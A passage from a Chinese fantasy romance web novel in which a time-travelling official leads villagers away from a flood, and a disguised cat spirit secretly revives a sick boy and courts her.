余玥玺又想起和她平日也算得上形影不离的柳儿,此刻却并未看见他的身影,便又问:“柳儿呢?”
“柳儿?”桃儿回头,声音没什么太大的起伏,“他吗?他晕过去了。”
“晕过去了?怎么会?”余玥玺惊异不已。
“这是他从小就有的毛病了,受了惊吓就会晕过去,也不能做太重的活,或许他的家人就是因为这个才放弃他的吧。”桃儿似是很惋惜地摇了摇头,重新将脑袋转了过去,又继续道,“不过问题倒是不大,过阵子他会自己醒的。”
余玥玺没有再多说什么,只是在想这其中可能发生在这个孩子身上的病症,不过她只是个历史生罢了,连遵循历史进程都得小心翼翼,实在是没有别的精力想其他的事情了。
很快二人便来到了那个耳朵不好的刘奶奶家,余玥玺深感时间宝贵,因此这次什么都没解释,直接背起刘奶奶就欲向外冲。
刘奶奶正坐在床上发呆,被这突如其来的一抱给吓掉了半条魂,直到出了大门了,她才反应过来,并“噼里啪啦”用力地拍着余玥玺的后背。
“小妹啊,小妹啊,你谁啊,放我下来啊,你要给我拐到哪里去啊?”刘奶奶声嘶力竭地吼着,一边喊着还一边拍着她的背和肩膀。
老人家声音大力气也大,余玥玺晕头转向,一时不知该怎么答。
“刘奶奶——你又忘了?这是余姐姐——皇城来的。不是要拐你啊——发大水了,撤离啊——”桃儿贴在刘奶奶的耳边,很是大声地解释。
刘奶奶相当迟钝地“啊?”了一声,而后才慢吞吞地说:“想起来了想起来了,我能自己走,不麻烦余小妹了。背着我这老太太怪不好意思的。”
余玥玺抹了把脸上的雨水与汗水混合物,先是喘了会气,而后才笑道:“刘奶奶你这手劲可真大,打年糕一定非常厉害。”
“呵呵,都怪奶奶。”刘奶奶不好意思地笑了,随后才一拍大腿,“伞,伞忘带了。”
“我来拿!”桃儿又飞速顶着雨跑进了刘奶奶的家,不多时便取了一把伞出来。
“我们需要再快些去通知剩余的村民。”余玥玺极冷静地说,“桃儿,顺着这条路再往回走,多久可以到达高处?”
“不需要原路返回,有一条小路,可以直达那里。”
“安全吗?”
“雨不大的时候还是很安全的。”
“那好,我们等会便可以从那处与华画他们汇合。”余玥玺安心下来
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了。
桃儿相当娴熟地踏着泥继续向前走,反而穿着鞋的余玥玺愈发感觉脚重,所有的泥全部粘在了脚上,有顺着脚踝向上爬的趋势。
将脚拔起来,稳住身子,再踏出下一步,再将后脚拔起来,重新踏进泥里……只是最简单的行走,余玥玺都走得艰难。
这当个好村官还真难,能文能武还得身体好,自己除了个“文”字以外别的好似都不搭边。路还漫长很呐,余玥玺!
狂风挟裹着豆大的雨点狠狠坠落,余玥玺见在前面带路的桃儿步子慢了下来,单薄的身体在风中瑟瑟发抖,身形也逐渐不稳,便担忧地喊了声:“小心些啊,桃儿——啊呀——”
泥菩萨过河自身难保,余玥玺刚喊出声要桃儿注意,自己的下一步却没踏稳,过于湿滑的泥起不到一点固定脚底的作用。噗呲一下草鞋被泥拉住了,脚却挣脱开来鞋的束缚,整个人于是向后面栽倒——
“余姐姐!”听到动静的桃儿回头,还没来得及跑出第一步,余玥玺自己却神奇地立住了,“吓我一跳,余姐姐还真灵活,这下要是摔了,还真不得了。”
“哈哈,是啊。”余玥玺心有余悸,刚刚自己明明就是要摔了,不知从何处而来的一股力量,在她腰后托了一把,她便这样站稳了。
“我没事,走吧。”余玥玺看了看自己的脚后跟,又看了看身后,是空无一人,这便让她怀疑刚刚那股神秘力量从何而来了。
沿着泥泞的路继续向前走,挨家挨户上门通知,有些或许是早已离开,大门关起,敲门也没人应。
惊慌失措的一群鸡扑棱翅膀在泥中乱窜,有小孩子哭喊的声音:“喂,别跑啊,别跑!”
桃儿眼疾手快,迅速抓住了领头的那只大公鸡,冲那小孩喊:“嘿,石头,要发大水了你还在这里干嘛呢?”
“我娘让我把鸡抓回来,不然发了大水鸡会被冲走的,抓不回去我娘会骂我没用的呜呜呜。”
余玥玺又赶紧拦在路中间,阻挡了三只不安分的鸡的去路。
“哎呀,都这个时候了,还管这么多鸡干嘛,人没事才好呀!”余玥玺心急如焚,“好了好了,就这么多鸡,赶回家以后,就赶紧和你娘去安全的地方。”
“就是那处,往年我们都会去的地方。”桃儿又补充道。
石头抱着那只大公鸡,嘴里唤着“呜啰啰”赶鸡的声音走开了。
“余姐姐,我们沿着这边就可以直接达到那个地方了。”桃儿跳下一个小陡坡,又小心地拉住了余玥玺的手,“下来时当心些,不要磕到了。”
小路除了窄一些别的并没有什么问题,就连泥都比外面的路要少,转过不知多少弯以后,余玥玺听得桃儿说了一句:“好,我们到了。”
一面很大的平地,背着山,土地坚实,恍然得像另一个时空。
有喧闹声传来,余玥玺茫然顺着声音前行,直到听不见雨声,也感受不到喧嚣的风。她擦干了脸上的雨水,睁大了一直眯着的眼睛,她看见围坐成一圈的村民。
以及深处的华画,华画看着她微笑,淡然到:“平安达到,属实好事一件。”
“如果你还需要我做些什么,我定会如同今日一般鼎力相助。”
19.莫名就成了医学世家传人
此处背风又背雨,让刚刚才从雨中进来的余玥玺感到一阵温暖以及一丝不真实的恍若隔世感。
华画站在她的面前,将手背在后面,向她笑道:“这伞可还好用?”
“挺好的。”余玥玺将伞稍微撑开了一些,抖了抖雨水,才发现伞面上有一个猫猫头,因被水浸湿了,整只猫头的边缘参差不齐,看上去倒是更显毛茸茸了。
“看你的样子,很喜欢?”
“是啊,很可爱。”余玥玺用手触碰了一下那个猫头,又叹了一声,“我还挺喜欢猫的,但猫好像不怎么喜欢我。”
华画的表情有一瞬凝滞,接着他又问:“你怎知你不被猫喜欢呢。”
“那个小家伙总想着逃跑,看也看不住,养也养不熟,前不久彻底把我给抛弃自己逍遥快活去了。”余玥玺看着华画,心情很好地问了一句,“你喜欢猫吗?”
呃,这个问题要怎么回答呢?就像你问一个人“你喜欢人吗”一样难以回答,华画沉思半晌,又看着余玥玺那期待的眼神,并不诚实地回答道:“嗯,喜欢。”
听了这个回答的余玥玺果然很开心,她点头道:“我就知道,没人会讨厌猫咪!”然后迈着轻快的步子走到了深处。
华画点头称是,心里却在暗暗着急:她不会再养第二只猫了吧?
“来呀,进来些,外头雨大。”见他依旧傻了一般地站在外侧,余玥玺好心提醒了一句,华画大梦初醒一般摸摸自己的头。
然后——甩了甩?
余玥玺越瞧这动作就越眼熟,像是将猫或者狗的毛发浸湿,然后它们自己甩干自己那样,放在动物身上尚且可爱,但放在一个人身上,那真是要多怪异有多怪异。
她赶紧一扭头,拍了拍自己的脑袋,好让自己忘记这幅画面。
和她一同来的桃儿早已走到了深处,急着去找柳儿去了。而余玥玺也想起了这件事,她走到深处,环顾四周,终于在一处凸起来的石头夹角那里找到了二人。
柳儿坐在地上,没什么知觉地闭着眼睛,靠在石头上才没滑倒,桃儿在一旁蹲着,抿着嘴一声不吭,雨水顺着她的鬓角向下滴落,安安静静的,丝毫没有往日的活泼。
“桃儿。”余玥玺唤了一声她,桃儿因此抬起头来看她。
“他还是没有醒,看来这次严重些了。”桃儿叹气,眼皮子也耷拉了下来。
余玥玺赶紧看向柳儿,用手摸了摸他的额头,冰凉凉一片;她又赶紧抓起了柳儿的手腕,学着曾经在电视中看到的那个样子,将手指搭在柳儿的手腕处,因着业务不熟,忙活了好一阵子才找到脉搏的准确位置。
呼,谢天谢地,还在跳,还活着。
“……你在做什么?”目睹了整个过程的华画不悦地问,她怎么能对这个人又摸又捏的?自己还没有被摸过!当然,猫时候不算。
“把脉啊,看不出来吗?”余玥玺也是相当疑惑,这个人的语气怎么就酸起来了?
难不成?一个想法快速地划过她的脑海,难不成是嫌自己做不好这件事,还挡了他的位置?
是的,她想,自己一定是班门弄斧了。若是让她看见有人对着史实胡说八道或是将野史吹嘘一通,她也一定会这样酸溜溜地生气。
“我竟不知你是个通晓医疗诊治的人,是我不对了,来,你来看看这个孩子怎么了。”余玥玺歉疚地笑了笑,然后起身,果真将那个位置留给了华画。
桃儿则是大张着嘴巴,看得云里雾里,怎么皇城来得竟是些能人?
同样疑惑的还有华画,自己刚刚有做什么吗?不是只问了一句她在做什么吗?语气也没有那么……醋吧?他倒是没想到他的余大人想象力会如此丰富,仅仅从他的一句话中就推断出了他来自医学世家,还交给他一个如此艰巨的任务。
“快呀,别耽误时间了。”余玥玺还在催促他,“我就是略懂一些皮毛,肯定比不上你的。”
华画抽搐了一下嘴角,这下他想不是都得是了,深吸一口气,他在那个苍白的孩子身侧蹲下,有样学样地将他的一只手搭在自己的左侧胳膊,右手去捏他的手腕。
治疗当然是不会治的,但出于动物的直觉,他能感知到这个叫柳儿的孩子生病了,还不是风寒发热一类的小病,而是从娘胎里带出来的大病。
他本想偷偷渡一些妖气给柳儿,让他暂时醒过来,但桃儿和余玥玺四只眼睛死死地盯着他,丝毫不放松,贸然这么做的话,应该会吓到她们的吧?
“这个哥哥,你摸出来了吗?”桃儿眼巴巴地看着他,见他一直捏来捏去,表情还严肃得可怕,心里不免有些着急。
“桃儿,别着急,他可是从皇城来的,肯定可以救柳儿。”余玥玺轻轻地拍拍桃儿的后背安慰她,“你的娘和奶奶呢?”
“她们在和村民们整理物资。”桃儿回答,却是心不在焉的,眼睛依然在看着紧闭着双眼的柳儿。
华画顿感压力如山一般压了过来,他的手轻微地在颤抖,怎么突然感觉如果自己救不了这个男孩子就罪大恶极了呢?
他本意可是只想帮助余玥玺,至于别人他是一点不想管的。但现在,这个孩子的问题就是余玥玺的问题。
好吧,只好这样做了。华画放下柳儿的手,伸手在口袋里捏了一个小丸子出来,从外面看起来是在找东西,实则是在将一息妖气渡了进去。
伸出手时,小丸子也制作完毕,但余玥玺看着那颗奇形怪状,而且是直接从口袋里掏出来没有任何包装的一个黑漆漆的小东西时,她适时发出疑问:“这玩意是啥?能吃吗?”
但看着华画还算兴高采烈求夸奖的脸塌下去时,她又赶紧摇头:“没事没事,你就当我什么都没说。”
华画的心凉了一半,他也不甚自信地看着那个黑漆漆的丸子。唔,是有点丑,不过丑也算不上什么,他们这一族那个最强的猫妖还是个白猫呢。
希望有用,他将黑丸子塞进了柳儿的嘴里。这下是六只眼睛齐刷刷盯着他看了。
柳儿的眉毛动了一下,像是很不舒适一般拧在了一起。
“咳咳。”他轻咳一声,慢慢睁开了眼睛,首先映入眼帘的就是六只亮到似乎要发光的眼睛。
被这一吓,他感觉自己的心跳又漏了一拍,险些又晕了过去。
“诶——”余玥玺伸手似是挽留了下。
这次倒是没再晕了,只是口中好像含了一个东西,用舌头一抿,便尝出了些许甜味来,尝着这个味道,心跳便平稳了下来。
“别这么看着我,怪不好意思的,我已经没事了,吓到你们真是抱歉。”柳儿的声音还有些虚弱,但脸色已经不那么苍白了。
余玥玺见此情景,立马起身握住了华画的手,华画一愣,竟是忘记了挣脱。
“神医啊,果然是神医。”她激动无比地将华画的手上下摇动,“留你下来果然是有用的,这
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里就缺你这样的医生啊!你之前为什么不说呢?你要是早说,我肯定会毫不犹豫地留你住在烂泥村的!”
华画被这一握惊了一惊,耳边一片嗡鸣,只能看见余玥玺的嘴一张一合却听不见她说了什么,热气从脖子上升到脸颊和耳朵。
“我……我不知道。”他结结巴巴地回答,甚至刚说完就忘记了自己上一句说了什么,一连重复了三遍“我不知道”。
而余玥玺见他的脸红得不正常,伸出手就碰了碰他的额头,疑惑道:“刚刚还好好的,怎么就突然发烧了?”
华画后撤了一步,总算是醒了过来,他茫然地眨着眼睛,继续摇头:“我不知道,我没事。”
“真的没事?”余玥玺问。
“嗯,没事。”华画点头。
天,刚刚还在在意自己没有被摸过,这下倒是一下子就被握住了手,幸福来得如此之快,让华画像喝了酒一样飘飘然。
呜,余大人说什么都是对的,她要自己做什么自己便去做什么。就算她说自己是狗自己也可以不当猫了。华画忍不住开始浮想联翩起来。
“嘿嘿,没事。”华画露出了一个和他这张脸完全不搭的傻笑来。
余玥玺担忧地看着他:“你当真没事?不要刚刚把别人治好,自己病了,你没发烧吧?”
这下华画是真的醒了,赶紧将自己的脸恢复正常,正色道;“余大人别担心,我没事了。”
“刚刚看你们一直待在这里,像是在讨论什么一样,怎么样,有结果了吗?”从早上就一直没有出现过的周小吉不知从哪个角落里走了过来,胳膊很自然地搭在了余玥玺的肩膀上。
“呀,柳儿醒了呀?”周小吉低着头向柳儿一笑。
余玥玺很得意地指向华画:“他救的,当真是捡到宝了,以后村里人有个什么头疼脑热的,就可以找他啦!”
“那可真是太棒了。”周小吉鼓了鼓掌,笑意盈盈地看着仿佛浑身不自在的华画,“不过我还是希望村人不要生病的好。”
“那自然是了,不生病当然是最好。”余玥玺接过话头,“但是凡事都有个万一嘛,他就算不当个小郎中,也是可以帮我其他忙的呀。”
周小吉再一次深沉地看了眼华画,呵呵一笑:“能帮忙便是好的,就怕他什么也做不了还有非分之想。”
“在他有对村民不好的非分之想之前我就会把他赶出去的,不会让你们受到一点伤害的!”余玥玺拍了拍周小吉的手。
周小吉无语,心道:“难道你看不出来这个人非分之想的对象是你吗?”
华画也相当无辜:“我还什么话都没说呢,怎么就被殃及到了?”
只有余玥玺还在相当认真地想着接下来的事情,她一边思索一边慢慢地说:“也不知道雨会持续多久,大家带的东西够不够,要是不够的话,我可能还需要下去一趟去搬东西上来。”
“所以待会还要整理物资,计量出每人应得的数量,小吉,帮个忙?”
周小吉收回对华画探究的目光:“好的。”
“如果物资不够的话,华画,和我一起下山好吗?”
华画的眼睛抬了起来:“嗯,当然。”
这两人的目光有所交汇,并互相给了对方一个不甚友善的眼神,但余玥玺丝毫没有察觉,在心里盘算着人数就去招呼村民们集合了。
“不许离她太近。”
“哼,偏不。”
20.山神
余玥玺轻咳两声,让村民们的注意力转移到她的身上,她向村民们微笑着说:“大家还好吗?不要紧,我会带大家渡过这次准关的。”
“东西是够的用吗?“她又转过头问周小吉。
“正常使用的话,可以用三天;节省用的话,可从多用两天。”周小吉在数过之后自信回答道。
“也不知道这雨会下多久。”余玥玺看着堆放在一起的食品衣物等物资,语气透露出担忧。
周小吉安慰她:“不是什么大事,年年都会发生,我们其实都习惯了。”
“这种事情怎么能够习惯的啊。”余玥玺相当不理解,心里却在想着在她那时代,洪水汛期同样也是件常见的事,每到这个时期,总能动员起一股团结力量,众志成城守护人民们的生命与财产安全。
“不要去习惯它,我们总得从它手里面夺回来些什么东西!”余玥玺抬起右手捏了一个拳头,用力下压了一下,脸上的笑容灿烂。
好,好耀眼。周小吉看呆了去。
“余大人,你也要要我嘛。”华画悄然无息地出现她背后,语气似是哀怨。
“诶?”余玥玺冷不丁被吓了一跳,一个回头,正巧对上华面的眼睛:一副委屈巴巴的小可怜样。
华画向下低垂着眉眼:“我也可以帮你的,我并不比周姑娘差,所以我可以帮你什么吗?”
好啊好啊,来抢风头了是吧?周小吉磨牙。眼里满是对华画的不屑,嘴上却是客气的:“华公子劳心劳力,来的时候还淋了场大雨,想必身体还没有好全,这些小事就不必麻烦你了。我自可以帮小玺好好完成的。”
“淋得那场雨算什么?我早就没事了!现在这情况,不应该多个人多个帮手吗?”华画倒也不委屈自己,当即将自己的“非分之想”美化了一番。
这两人怎么又吵起来了?余玥玺感觉自己有些头痛,捏了捏自己的眉心,想着该如何运用语言的艺术让二人不要一见面就和点燃了炸药桶一样,“嘭”的一声将她这个中间人炸飞。
“你说,到底要不要我/他帮忙!”二人竟是异口同声,给烧得本来就很旺的火又加了一把油。
余玥玺不觉皱眉,眼下这一种情况是正常的吗?自己好歹也是个从皇城来的大官员吧?总算是有点威严的,怎么能就敢这样逼着问一个答案显而易见的问题呢?
小吉就不说了,她可能确实不太懂……所以,华画他一个同样从皇城的人怎么可以同样犯这个错误呢?
“你闭嘴!”余玥玺瞪了眼华画。
华画的脸露出不可置信的表情,他既震惊又委屈地看向余玥玺。
.“……等我需要你的时候我会让你帮忙的。”不知怎的,余玥玺的语气瞬间就软了下来。自己还真是狠不下心来啊,这样下去以后还怎么得了?
“嗯,好的!”华画的嘴角又上扬了起来,他眯起眼睛笑,下巴也抬高了一个度。撑着脑袋就要来贴余玥玺。
余玥玺不动声色向后走了一步,避开了这来的诡异的热情。
“事情目前已经告一段落了,我们先好好休息会吧。“她说着便靠着石壁蹲了下去,不再去看华画。
华画似乎也知自己刚刚的行为有些过头,便也安静下来,走到了洞口,出神地望着远方,依稀可见下得很有气势的雨,从仿佛漏了一个洞的天上倾泄而下。
他刚跨出一只脚,就听见背后传来余玥玺的一声疑问:“下这么大的雨,你要去哪?”
“我就走走。”华画随口一答,继续跨出第二步,在余玥玺既震惊又不解的目光下走了出去,逐渐消失在她的视野中。
还真是个怪人,来的那一天,淋了那么大一场雨,今天又要在下大雨的时候出去散步,如果不是什么特殊的闲情雅致的话,那就只有一种可能了。
他的脑子有问题,虽然外表看起来正常的不得了,但正常人是不会做出在暴雨中散步这一行为的。
余玥玺思来索去还是有些担心,索性又撑开伞出去了。
她刚跨出泪口,耳边的一切声音就消失验尽了,没有人声,没有风声,也没有雨打落在叶子或是地上的声音。
四周安静得异常,只能听见自己因紧张而愈发急促的呼吸声。
雨呢?按理说应该还能听见雨打在伞上的声音,可余玥玺什么也听不见,她试探性地收起了伞,抬头向上望去。
依旧是可以看见雨的,但它们从高处落下,到某一处时却像被拦住一样消失不见了。
余玥玺揉了揉眼睛,再次定睛一看,没错,就得这样,本该落到地上的雨在半空中就消失了。
这副场面让她震惊无比,她回头望了眼洞口,说来这洞口也出现得不合常理——位置不对,宽度与深度也不像是自然形成的。
这其中一定有古怪,余玥玺倒也胆大的很,抓起伞就要向山上爬,山路陡峭且泥泞湿滑,半截路在眼睛可以看得见的地方,半路藏在草丛中,稍有不慎就便是走一步退三步。
越往上这山路就越难走,余玥玺只好弯着身子降低身体重心,不时揪一把草稳住自己拖后腿的脚。她又抬头望天,山依旧很高,雨在哪里消失的界线还是不明朗。
但她已经不知道下一步该如何落脚了,除非她是一头岩羊,可以自由地在近乎垂直角度的山中随意蹦哒,否则是休想再上前一步了。
虽然心中疑感尚未解答,但还是不得不下山。余玥玺小心地撤着步子向下,眼前似是闪过一团毛茸茸的彩色。
那一团彩色既娇小又灵活,转瞬便从余玥玺的眼前快速掠过,鸟一般敏捷。
“花花?”连她自己都还未反应过来,她喊出了那只逃跑了的猫的名字。
那团彩色在一处凸起的石头上停下,定格住一般回望余玥玺不再有下一步动作。
余玥玺又惊喜又急切地继续喊了一声:“花花?是花花吗?快来呀,快回来呀——”
似是花花的生物果真就停下不动了,它抬起前爪,停在半空许久,疑疑惑惑地放了下来,竟是真的又靠近了余玥玺一点点。
“对,就是这样,快来,快来,我才不会追究你随随便便抛弃我的问题!”余玥玺也站在原地,继续说着好话,“现在外面危险,跟着我好不好?”
“花花,来。”余玥玺喊着她为它取的名字,眼睛和语气一般真诚。
花花“喵”了一声,尾巴竖起来,尖微微弯曲,看上去倒是高兴的样子,但它离余玥玺十米距离的时候却停下了。
“是要我来接你的意思吗?”余玥玺问,她打量了一下自己的位置与花花的位置,盘算了下自己能否安全到达。
她先是站稳了两只脚,而后伸出手去够离她大约有半米距离的那株草。
“喵!”花花急促地叫了
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一声,瞳孔骤缩,像是在提醒她不要再靠近了。
余玥玺有些为难,她收回了攥着草的手,失落地看着跳出几米远的花花。
“不愿意和我回去吗?也好,如果你能有空回去看看我的话,我会非常开心的。”
“那好,我就走啦。看到你什么事都没有我就放心了。”余玥玺笑眯眯地说。
而花花的表情也从警惕变为放松,它静静地看着余玥玺下山,表情认真。
然而,余玥玺不慎踩在了一块凸出来的石头上,由于雨水冲刷,那石头与泥土结合得并不牢固,稍一动摇便滚落下山。
失去支撑点的余玥玺一脚踏空,右手抓住的草也没能拉住她,余玥玺就这样迅速向山下滑落。
她伸出手想徒劳地抓住些什么,但除了能起到一点缓冲作用以外什么都做不到,还将她的掌心划破,渗出的血逐渐染红了半个手掌。
完了,这就创业未半而中道崩殂了吗……余玥玺忽然感觉疲惫涌上心头。如果这就不幸离世了话,是会回到现代还是就这样直接消失了呢……
“喵呜喵——”余玥玺半梦半醒之间恍惚听见了猫叫声。
花花吗?她半睁开眼睛想要搜寻猫的踪影,却什么也看不见。
假如就这样一路滑到山谷,自己的尸体会多久才被发现呢?
还真是不甘心啊,明明都已经有了那么多让村子变好的想法,看来是实施不下去了,烂泥村也只能是烂泥村了。
头顶传来毛茸茸的触感,余玥玺深叹了一口气,你可别也跟着我一起掉下去了。她很是平静地等待着最后那一刻的到来。
“哎呦——什么掉下来了?疼死我了,诶诶?余大人?”
余玥玺只觉自己砸到了一个柔软的东西,失去的感官又一点点回来了。
耳清目明,像是什么都没发生一样,她一下子跳起来,急切问道:“花花呢?花花呢?”
“华画在这呢。”
余玥玺愣愣地看着满身泥水的华画:“华画?”
“嗯,我在呢,余大人你喊我干什么?”
“不是华画,是花花。”余玥玺手舞足蹈了一番,“是猫,一只三花猫,长得非常可爱。”
华画露出一个在余玥玺看来相当怪异的羞涩的笑容:“真的很可爱吗?”
余玥玺并未回答,只是问:“你真的没看见它吗?它好像和我一起掉下来的。”
“没有,真的没有看见。我还奇怪呢,余大人你怎么从——那么高的地方摔了下来?”华画指天,“我就听到头顶一阵咣啷声,刚抬头想看看发生了什么呢,您就砸了我个结结实实。”
“抱歉,真的很抱歉,没砸伤你吧?”余玥玺关切地看着他,她诚恳道,“我只是想上去看看为何雨落到一半就消失了,然后下来的时候不小心……”
“余大人你可注意点吧,这次是砸到我了才没有事,下一次可不好说了。”
“下次不会了。”余玥玺继续诚恳道,她抬头看山,问,“华画你说,山里会有山神吗?”
“你问这个干嘛?”
“我在想,我的花花会不会是山神,因为我总觉得它很神秘,或许又无所不能。”
华画笑道:“山神吗?或许有可能,但无所不能,怕是不现实。哪怕是神,也是有弱点的。”
“比如说,他非常害怕孤单。”
21.前世的巧合
怕,孤单?余玥玺的表情凝重了一下,一瞬间,在现世所看到过的各类有关神的文艺作品的描述尽数在脑海里浮现。
“你怕不是小说看多了,还什么怕孤单的神。”余玥玺笑了,她摆摆手又俯下身拍了拍沾着泥巴的裤角,“不过说来也奇怪,为什么好多这类作品中的神都会出现这种脆弱的情感呢?我看啊,祂应该为自己感到自豪才是,能力强大又造福一方,还受人尊敬,单是看着这些为祂所蔽护的人们,就会内心充足的吧,哪里又会怕孤单呢?”
余玥玺想了想又补充道:“当然,这只是我的想法,要是冲撞到了你敬仰的哪位神的话,你就当我什么也没说。”
古人在神鬼一事敬畏的很,这种事还是当谨慎为妙。
“并没有,我觉得余大人说得很好。”华画似乎并不在意地微微一笑,“一个真正心系黎民百姓的神哪里有时间去自怨自艾感到悲伤呢?如果有的话,那这个神一定不是个称职的神,感谢余大人让我想清楚了这一点。
“哈哈,谢我做什么?我不过是说出了我的疑惑而已,咱国人向来敬的是干实事的神!哎,华画,想来你也是看过不少小说的,有这种情节不知道你有没有看过?”余玥玺显然是一副来了兴致的模样,她笑眯眯地看着华画,眼睛亮晶晶的。
“什么……情节?”华画倒有些紧张,他向来对人类那些密密麻麻写着字的小本子不感兴趣。
余玥玺拍拍一块还算干净的石头,又向华画招手,声音难掩激动:“来,我们坐下说!我想和其他人谈这种事很久了!我想我们一定会谈得来的。”
“好……好的。”华画像一根棍子笔直且僵硬地挪到了余玥玺的身边,又像将棍子掰断了一样坐在她的身边,上身和下身都是笔直的。
“放松点!”余玥玺一掌拍在他的后背,调侃道,“是我太吓人还是你太胆小?”
华画这下更是手忙脚乱了,局促了一阵子后才勉强镇静道:“我觉得我这样就很好,余大人……您快说吧,我会认真听着的。”
余玥玺点头:“那我就开始说了。一个神,男神也好女神也罢。我似乎从未看见他们做过什么适福其下百性的事,整天就是拘泥于情情爱爱的小事,当然我也没有阻止他们谈恋爱的意思,但是他们一讲起来就跟发了狠忘了情一般什么都不顾了,有时极端情况下甚至还要拉无辜的百姓垫背来成全他们的爱情。”
华画听着,很小心地附和道:“对,没错,太害人了。”
“就是这样,还有一个好好的神,怎么就会堕魔了呢?”余玥玺继续说了下去,”还是因为爱情……当然我也不知道爱情是否有这么大能耐。天平两端,一端是爱人,一端是黎民百姓,百姓总是那个被放弃的那一个。”
她幽幽叹了口气:“明明百姓什么也没有做错,简直无妄之灾。幸好神并不存在,以上这些事也不会发生——如何,华画,你觉得我说的怎样?”
“其实这个世上是有神存在的。”华画慢慢开口,他看着余玥玺那张略显惊愕的脸道,”神并不稀奇,山有山神,林有林神,就连宅子都有镇宅神,祂诞生于人们的期许,奉行守护人们的职责,在领地内,祂们是强大的,而一旦出了领地或是领地内没有人了,那位神的力量就会衰减,甚至消失。”
“真的假的?居然真的有神而且神还这么多?”余玥玺疑惑不已,但看华画神色如常不像在说假话,“你确定没有在骗我?”
“怎么会呢,等这次水退了,我带你去找村子里供奉的山神像,或者你也可以去问问村里人有关神的事情啊。”华画抬头,望着天,语气有些畅快:”不然你又怎么解释雨落不到这里的事呢,还有这个山洞,你不觉得很奇怪吗?”
眼前事也确实是超出了余玥玺的认知,她同华画一起抬起头去看消失的雨丝,安静了半晌后,余玥玺又低下了头,不解地问:
“如果烂泥村真的有神的话,那祂为什么不保佑村民们平平安安呢?为什么不保估他们免受贫穷之苦呢?眼看着烂泥村就要衰落了,也不知我能否带领他们走向富足。”
说完这些,余玥玺忽然卸力一般整个身体都放松了下来,低垂着头一言不发,安静得像是睡着了一样,坐在她身侧的华画侧过身看她,想要伸出手尝试触碰她,却在半路中又放下了手,轻声开口:“这个神可能本身就没那没强大吧。”
华画想了一会,又试探性地说:“我倒是觉得你会是这里的新神。”
“此话怎讲?”余玥玺从假寐的状态中醒来,抬头直勾勾看着华画,“人也能当神吗?还是说神位可以传给别人?此处的山神我又没见过,祂能同意我代者祂成为新神吗?成为新神的话,我又会怎样?”
这一连串问题将华画砸了个措手不及,刚想回答第一个问题第二个问题就来了,在思索第二个问题时,第三个问题又跟着来了。
“嗯,啊,这个……“华画只恨自己少长了一个脑袋和一张嘴,他皱着眉思考了一番,最后才回答道:“首先人是不能成为神的,传位也是传不了的,自然产生然后自然消失。等等,我不是要说这个来着的。
“我是想说,你在烂泥树村民时心目中就像神一样,从繁华的皇城而来,什么都不计较与在意,一心一意只为了这里好。这比那个没干什么实事的山神要好?”华画这次终于说出了自己的真实想法。
余玥玺又笑了,似是对华画这番话相当满足,点点头:“你说的在理,这叫什么?叫人定胜天。”
“对,有你在,我就放心了。“华画看余玥玺笑得轻松且自在,他的脸上便也露出释然的笑容来了。
“你还放心上了,明明应该是我放心你才是。”余定定地看着他,语气说不上是欣慰还是轻松,但笑意依然不减,“你也是,我都没听说过你的名字,你居然还能仰慕我这么多年。”
但很快,余玥玺便想起她是穿越而来的,华画真正敬佩的应该是余玥溪才是。
“那你现在也算是与我一同奋战了,如此近距离的和我接触,我与你想象中的那个余大人有差别吗?”她问。
“并无不同,甚至还要更好。”华画回答,模样十足真诚。
“对,我就是她,区别还能大到哪里去?”余玥玺哈哈笑着,又顺手在华画的背上指了一下。
华画也悄悄松了一口气,仰慕是真,多年却是假,他第一次见到她的时候,她正在山脚急得团团转,山路太陡,马车很难驶上来,更别提马车后面都载着沉甸甸的书。
他很少见到外来的人,尤其是如此意气风发的人,他嗅到了一股遥远的陌生的气息,她来自皇城,那个富饶之都。
“她是来做什么的?”他不解,他好
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奇,于是他悄悄使了个小法术使余玥玺的车队与书籍平安抵达烂泥村村口,并在当晚化了自己的原形悄悄溜进了她的院子里。
哪成想,人的影子还没见着,一只狐狸却闻着着味赶来了,他本可以轻松制服那只狐狸,但却因离领地过远而失去法力变成一只普通的猫,被那狐狸所伤。
然后,就是她挥舞着一个锄头虚张声势赶来救下了他。
呵,还真是丢面子啊。
就这样,他以家猫的身份短暂的留在了她的身边,用猫眼去观察一她的一举一动。
她叫余玥玺,她还给自己取了一个名字叫花花;她似乎是为了这个村子而来的,她对村民都相当友善;她在相当认真地规划着村子的未来,她……
他的内心就这样生出一股冲动,他要离她更近一点,不是以猫的身份,而是以人的身份。
猫能做什么呢?只有变成人才能帮她,同样也是帮自己,如果让村子长久这样发展下去,自己的消亡不过是时间问题。
花花?人是定不能取一个这样的名字,但他又不想舍弃达个名字,于是他便带着华画这个名字并为自己伪造了一个假身份心情激动地接近了余玥玺。
但他还是头脑简单了些,为了伪造他本人确实是从山下上山来的假象,他自己竟真的下了山,还相当不巧地与大雨遇上了。
人形的第一面,落了个落汤鸡的狼狈局面,也没能给她留下个好的初次印象,看得出来,他第一次见他时,是有点嫌弃在身上的。
“嘿,你在想什么呢?想的那么入神?”余玥玺伸手在华画眼前晃了晃。
华画终于从回忆中回过神:“没什么,我只是在想你以前的事情。”
“那你想到了什么呢?比如,你是从我做的哪一件事开始注意到我的呢?”余玥玺誓要问出个水落石出的样子。
“嗯,不好说,如果我说我从见到你的第一眼就对你上心了你会怎么想?”华画看着她的眼睛,眼睛微微眯着,语气期待又认真。
这个回答倒是令余玥玺没想到,说好的古人都情感含蓄呢?
“怎么可能。”余玥玺则是当即否认了这句话,“我还以为你是被我的才情折服了呢,哎,果然肤浅。”
“那我说具体一些?”华画摸了摸下巴,又道,“我记得那一日,你在街边痛斥博人同情心的骗子,一字一句铿锵有力,将对面驳得哑口无言,又在那人欲逃跑的时候追了上去,硬是要他将在场人的钱还了去。”
“这下是否具体了些呢?”华画继续笑,声音也带着笑音,“我当时就在想,好一个气度不凡的人,定是我学习的榜样。”
“这……”余玥玺忽然愣住,这事切切实实发生在她自己身上过,她还记那年是她高二暑假,陪朋友发传单,在路边见到了那个骗子。
也确实事年轻气盛,她是当即揭穿了这一骗局,还抓住了那个“断腿”的骗子。事后还甚至牵连出一个小型诈骗团伙,她的照片与事迹甚至在当地的报纸上还占据了一个小板块。
可现在,眼前人说出的那件令他印象深刻的事竟是与她自己的事分毫不差,这就不能不令她多想了。
“三年前?”余玥玺为证实心中所想,问道,如果时间不一样,那或许也只是个巧合。
然而。
“没错,三年前。”
22.山间有一庙
华画见余玥玺神色古怪,心道不能是自己看错了吧,便又不甚放心地追问了一句:怎么,我说得不对吗?还是……”
